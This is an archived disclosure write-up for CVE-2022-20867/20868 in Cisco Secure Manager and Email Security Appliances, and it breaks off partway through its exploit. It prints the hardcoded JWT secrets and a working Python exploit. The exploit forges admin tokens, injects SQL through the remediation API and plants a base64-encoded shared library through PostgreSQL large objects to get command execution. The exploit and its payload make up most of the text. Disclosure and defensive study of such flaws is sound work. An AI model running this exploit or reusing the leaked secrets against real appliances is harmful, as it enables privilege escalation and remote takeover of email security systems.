CVE-2022-20868/7 _ Cisco SMA JWT EoP & SQLi RCE
🌐

CVE-2022-20868/7 _ Cisco SMA JWT EoP & SQLi RCE

📅 [ Archival Date ]
Nov 19, 2022 5:18 PM
🏷️ [ Tags ]
Cisco SMACVE-2022-20868/7
💣 [ PoC / Exploit ]

1 - Cisco Secure Manager Appliance jwt_api_impl Hardcoded JWT Secret Elevation of Privilege

A vulnerability allows remote attackers to elevate privileges on affected installations of Cisco Secure Manager Appliance and Cisco Email Security Appliance. Authentication is required to exploit this vulnerability.

The specific flaw exists within the jwt_api_impl module. The issue results from the usage of a static secret key to generate JWT tokens. An attacker can leverage this vulnerability to impersonate any user of the target server.

Note: Another vulnerability was published alongside this one. These vulnerabilities are not dependent on one another. Exploitation of one of the vulnerabilities is not required to exploit the other vulnerability. A Low level privileges user can use the combination of the two vulnerabilities to receive full admin privileges on an affected system.

CVE

CVE-2022-20867 CVE-2022-20868

Credit

An independent security researcher has reported this to the SSD Secure Disclosure program.

Technical Analysis

Any request to the new web interface of the appliance is handled by nginx on port 4431 which acts as a reverse proxy to the python back-end.

<img src="./img/img1.png" width="640">

The python server processes the HTTP requests and returns a result. The snippet below showcases the code responsible for processing POST requests to the interface.

def do_POST(self):
    content_len = int(self.headers.getheader('content-length', 0))
    request_body = self.rfile.read(content_len)
    self._validate_and_return_request_handler(http_verb_method=PROCESS_POST, request_body=request_body) # 1

The _validate_and_return_request_handler method is called [1] by the do_POST wrapper and most other wrappers and holds the main logic of the processing.

def _validate_and_return_request_handler(self, http_verb_method, request_body=None):
    global SERVER_SESSION_ID
    self.refresh_token = None
    self.message_digest = None
    is_auth_needed = False
    try:
        parsed_uri = urlparse.urlparse(self.path)
        # ...
        elif not (request_handler_helper.is_url_request_in_list(parsed_uri, OPEN_ACCESS_API_LIST) or hasattr(handler_obj, 'csrf_token_valid') and handler_obj.csrf_token_valid(uri_ctx.subpath, uri_ctx.query) or request_handler_helper.check_url_path_in_request(parsed_uri, LOGIN_API_URL) or self.client_address[0] == LOCALHOST_IP and not is_auth_needed): # 2
            # ...
            elif jwt_constants.JWT_PARAM_JWT_TOKEN in self.headers:
                is_authenticated = self.validate_jwt(uri_ctx) # 3

The method checks [2] if the request is supposed to be authenticated, and uses multiple authentication schemas to try to authenticate the user, among which being JWT [3]. If the jwtToken header is present in the request, the validate_jwt method is called to validate the token.

def validate_jwt(self, uri_ctx):
    input_token = None
    query_email = None
    mid = -1
    user_email = None
    try:
        input_token = request_handler_helper.extract_token(self.headers)
        query_string_data = urlparse.parse_qs(uri_ctx.parsed_uri.query, keep_blank_values=True)
        if query_string_data and 'email' in query_string_data:
            query_email = query_string_data.get('email')
        if USER_EMAIL_HEADER in self.headers:
            user_email = self.headers[USER_EMAIL_HEADER]
        if MID_HEADER in self.headers:
            mid = self.headers[MID_HEADER]
        if input_token:
            token = jwt_util.decode_token(input_token) # 4
            validate_input_fingerprint(uri_ctx.input_fingerprint, token) # 5

The token is decoded [4] via the decode_token method, and the fingerprint is later validated [5] via the validate_input_fingerprint method.

def decode_token(token):
    payload = None
    try:
        payload = jwt.decode(token, login_util.decode(jwt_constants.JWT_SECRET), algorithms=jwt_constants.JWT_ALGORITHM)
    except ExpiredSignatureError:
        raise JwtException(jwt_constants.ERROR_JWT_EXPIRED_SIGNATURE_ERROR, httplib.UNAUTHORIZED)
    except InvalidIssuerError:
        raise JwtException(jwt_constants.ERROR_JWT_INVALID_ISSUER_ERROR, httplib.UNAUTHORIZED)
    except InvalidAudienceError:
        raise JwtException(jwt_constants.ERROR_JWT_INVALID_AUDIENCE_ERROR, httplib.UNAUTHORIZED)
    except InvalidTokenError:
        raise JwtException(jwt_constants.ERROR_JWT_INVALID_TOKEN_ERROR, httplib.UNAUTHORIZED)

    return payload

The decode_token method uses the jwt_constants.JWT_SECRET constant as a secret for the decoding thus any attacker that has knowledge of the secret key may use it to sign arbitrary tokens, and thus impersonate any user.

ERROR_EXPIRY_MUST_BE_INT = 'Expiration Time claim (exp) must be an integer.'
JWT_ALGORITHM = 'HS256'
JWT_SECRET = 'VmxaU1MyTXlWbk5oTTJ4UVZsVmFUMVpyVm5OT2JFNXlVbFJzVVZWVU1Eaz0='
JWT_PARAM_USER_NAME = 'userName'
JWT_PARAM_EXPIRY = 'exp'

The value for JWT_SECRET on Cisco Email Security Appliances is ckswZyVqISlrdG1QRzNoYnAmQyNCbURsIXZGOUVTYntsSlhsJiRKc2RseDV4OTNhPGs/cy9yXWZbT3lE. The validate_input_fingerprint is responsible for extracting the fingerprint from the token and validating it against the server generated fingerprint.

def validate_input_fingerprint(input_fingerprint, token):
    if not token or jwt_constants.JWT_PARAM_COOKIE not in token:
        raise JwtException('Unauthorized request', httplib.UNAUTHORIZED)
    if token and jwt_constants.JWT_PARAM_COOKIE in token and input_fingerprint != token[jwt_constants.JWT_PARAM_COOKIE]:
        raise JwtException('Unauthorized request', httplib.UNAUTHORIZED)

The input fingerprint is generated by the code snippet below. Because of the sys_desc and server_session_id fields, this vulnerability not be used for bypassing the authentication of the interface as the stated fields are too unpredictable. However, with prior knowledge of the fields from authenticating as a low-privilege user this requirement is met.

input_fingerprint = jwt_api_impl.get_input_fingerprint({'user_name': self.current_user, 'server_host': self.headers.get('Host'),
    'user_agent': self.headers.get('User-Agent'),
    'sys_desc': request_handler_helper.get_system_description(),
    'accept': self.headers.get(ACCEPT),
    'server_session_id': str(SERVER_SESSION_ID),
    'client_ip': fp_client_ip,
    'email_for_fingerprint': email_for_fingerprint})

Vendor Response

The vendor has issued a patch for the vulnerability as part of its patches released on the 11th of November 2022 for the affected platform – https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esasmawsa-vulns-YRuSW5mD

Exploit

#!/usr/bin/env python3
import jwt
import json
import time
import random
import string
import base64
import urllib3
import datetime
import requests
import argparse

DEVICE_TYPE = 'sma'
JWT_SECRET = 'VmxaU1MyTXlWbk5oTTJ4UVZsVmFUMVpyVm5OT2JFNXlVbFJzVVZWVU1Eaz0='
PG_SYSTEM = [
    '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AwAAAAEAAAAIAAAAAAAAAAAAAAAAAAAATQAAAAQAAAACAAAAAAAAABgEAAAAAAAAGAQAAAAAAABgAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAYAAAAAAAAAFcAAAAEAAAAQgAAAAAAAAB4BAAAAAAAAHgEAAAAAAAAeAAAAAAAAAACAAAAFQAAAAgAAAAAAAAAGAAAAAAAAABhAAAAAQAAAAYAAAAAAAAA8AQAAAAAAADwBAAAAAAAABMAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAXAAAAAEAAAAGAAAAAAAAABAFAAAAAAAAEAUAAAAAAAA=',
    'YAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAABnAAAAAQAAAAYAAAAAAAAAcAUAAAAAAABwBQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAcAAAAAEAAAAGAAAAAAAAAIAFAAAAAAAAgAUAAAAAAAAEAgAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAHYAAAABAAAABgAAAAAAAACEBwAAAAAAAIQHAAAAAAAADgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAB8AAAAAQAAAAIAAAAAAAAAoAcAAAAAAACgBwAAAAAAACAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAACAAAAAAAAAMAHAAAAAAAAwAcAAAAAAAA0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJIAAAABAAAAAgAAAAAAAAD4BwAAAAAAAPgHAAAAAAAAvAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACcAAAABwAAAAIAAAAAAAAAtAgAAAAAAAC0CAAAAAAAABgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAApgAAAAEAAAADAAAAAAAAANAIIAAAAAAA0AgAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAK0AAAABAAAAAwAAAAAAAADgCCAAAAAAAOAIAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC0AAAABgAAAAMAAAAAAAAA8AggAAAAAADwCAAAAAAAAIABAAAAAAAAAwAAAAAAAAAIAAAAAAAAABAAAAAAAAAAawAAAAEAAAADAAAAAAAAAHAKIAAAAAAAcAoAAAAAAAAYAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAL0AAAABAAAAAwAAAAAAAACICiAAAAAAAIgKAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADGAAAAAQAAAAMAAAAAAAAAyAogAAAAAADICgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAzAAAAAgAAAADAAAAAAAAANAKIAAAAAAA0AoAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANEAAAABAAAAMAAAAAAAAAAAAAAAAAAAANAKAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAADaAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABCwAAAAAAAIAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAgQsAAAAAAACyAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAPUAAAABAAAAAAAAAAAAAAAAAAAAAAAAADMNAAAAAAAAPgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAADAQAAAQAAAAAAAAAAAAAAAAAAAAAAAABxDQAAAAAAABABAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAADwEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAgQ4AAAAAAACgAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAACgPAAAAAAAAeAMAAAAAAAAfAAAAGAAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACgEgAAAAAAAN8BAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAfxQAAAAAAAAdAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=='
]


class Exploit:
    def __init__(self, args):
        self.url = args.url
        self.username = args.username
        self.password = args.password
        self.command = args.command
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        self.s = requests.Session()
        self.s.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
            'Accept': 'application/json, text/plain, */*'
        }
        self.s.verify = False

    def trigger(self):
        print('[*] Logging in')
        if not self.login():
            print('[-] Exploit failed')
            exit()
        print('[*] Elevating privileges')
        if not self.eop():
            print('[-] Exploit failed')
            exit()
        print('[*] Triggering command execution')
        if not self.rce():
            print('[-] Exploit failed')
            exit()
        print('[*] Cleaning up')
        if not self.cleanup():
            print('[-] Exploit failed')
            exit()
        print('[#] Exploit succeeded')

    def login(self):
        data = {
            'data': {
                'userName': base64.b64encode(self.username.encode('latin-1')).decode('latin-1'),
                'passphrase': base64.b64encode(self.password.encode('latin-1')).decode('latin-1')
            }
        }
        r = self.s.post(self.url + '/' + DEVICE_TYPE +
                        '/api/v2.0/login', data=json.dumps(data))
        if r.status_code != 200:
            return False
        response = json.loads(r.content)
        self.jwt_token = response['data']['jwtToken']
        return True

    def eop(self):
        def encode(s):
            s = base64.b64encode(str(s).encode('latin-1')).decode('latin-1')
            chunks = [s[i:i+76] for i in range(0, len(s), 76)]
            return '\n'.join(chunks)

        def decode(s):
            return base64.b64decode(s.replace('\n', '')).decode('latin-1')

        try:
            token = json.loads(base64.b64decode(self.jwt_token.split('.')[1]))
        except:
            try:
                token = json.loads(base64.b64decode(
                    self.jwt_token.split('.')[1] + '='))
            except:
                try:
                    token = json.loads(base64.b64decode(
                        self.jwt_token.split('.')[1] + '=='))
                except:
                    return False
        cookie = decode(token['cookie'])

        server_host = decode(cookie.split('\n;')[0])
        client_ip = decode(cookie.split('\n;')[1])
        user_agent = decode(cookie.split('\n;')[2])
        server_session_id = decode(cookie.split('\n;')[3])
        system_description = decode(cookie.split('\n;')[4])

        admin_cookie = encode('\n;'.join([
            encode(server_host),
            encode(client_ip),
            encode(user_agent),
            encode(server_session_id),
            encode(system_description),
            encode('admin'),
            encode('application/json, text/plain, */*')
        ]) + '\n;') + '\n'

        admin_token = {
            'userName': 'admin',
            'is2FactorCheckRequired': False,
            'cookie': admin_cookie,
            'user': 'NONEUQ',
            'sessionEndTime': int(datetime.datetime.utcnow().timestamp()) + 3600 * 48,
            'exp': int(datetime.datetime.utcnow().timestamp()) + 3600 * 48
        }

        admin_token = jwt.encode(admin_token, base64.b64decode(JWT_SECRET))
        headers = {
            'jwtToken': admin_token
        }
        r = self.s.get(self.url + '/' + DEVICE_TYPE +
                       '/api/v2.0/login/privileges', headers=headers)
        self.jwt_token = admin_token
        return r.status_code == 200

    def rce(self):
        def sqli(query):
            headers = {
                'jwtToken': self.jwt_token
            }
            data = {
                'data': {
                    'batch_id': ''.join(random.choice(string.ascii_letters) for _ in range(8)) + '\', 0, 0, 0, 0, 0, 0, 0, 0, 0); ' + query + ' ;-- ',
                    'action': 'delete',
                    'initiated_username': 'x',
                    'batch_name': 'x',
                    'message_details': [
                        {
                            'mid': [1],
                            'from_email': ['[email protected]'],
                            'ip': '192.168.1.1',
                            'subject': 'x',
                            'sent_at': 1,
                            'recipient_email': ['[email protected]']
                        }
                    ]
                }
            }
            self.s.post(self.url + '/' + DEVICE_TYPE + '/api/v2.0/remediation',
                        headers=headers, data=json.dumps(data))
            time.sleep(0.5)

        loid = ''.join(random.choice(string.ascii_letters) for _ in range(8))
        shell_path = '/tmp/' + \
            ''.join(random.choice(string.ascii_letters)
                    for _ in range(8)) + '.so'

        sqli('SELECT lo_create(0) INTO ' + loid)
        for i in range(len(PG_SYSTEM)):
            sqli('INSERT INTO pg_largeobject (loid, pageno, data) VALUES ((SELECT * FROM ' +
                 loid + '), ' + str(i) + ', (DECODE(\'' + PG_SYSTEM[i] + '\', \'base64\')))')
        sqli('SELECT lo_export((SELECT * FROM ' + loid + '), \'' + shell_path + '\')')
        sqli('SELECT lo_unlink((SELECT * FROM ' + loid + '))')
        sqli('DROP TABLE ' + loid)
        time.sleep(5)
        sqli('CREATE OR REPLACE FUNCTION pg_system(TEXT) RETURNS INTEGER AS \'' +
             shell_path + '\',\'pg_system\' LANGUAGE C STRICT')
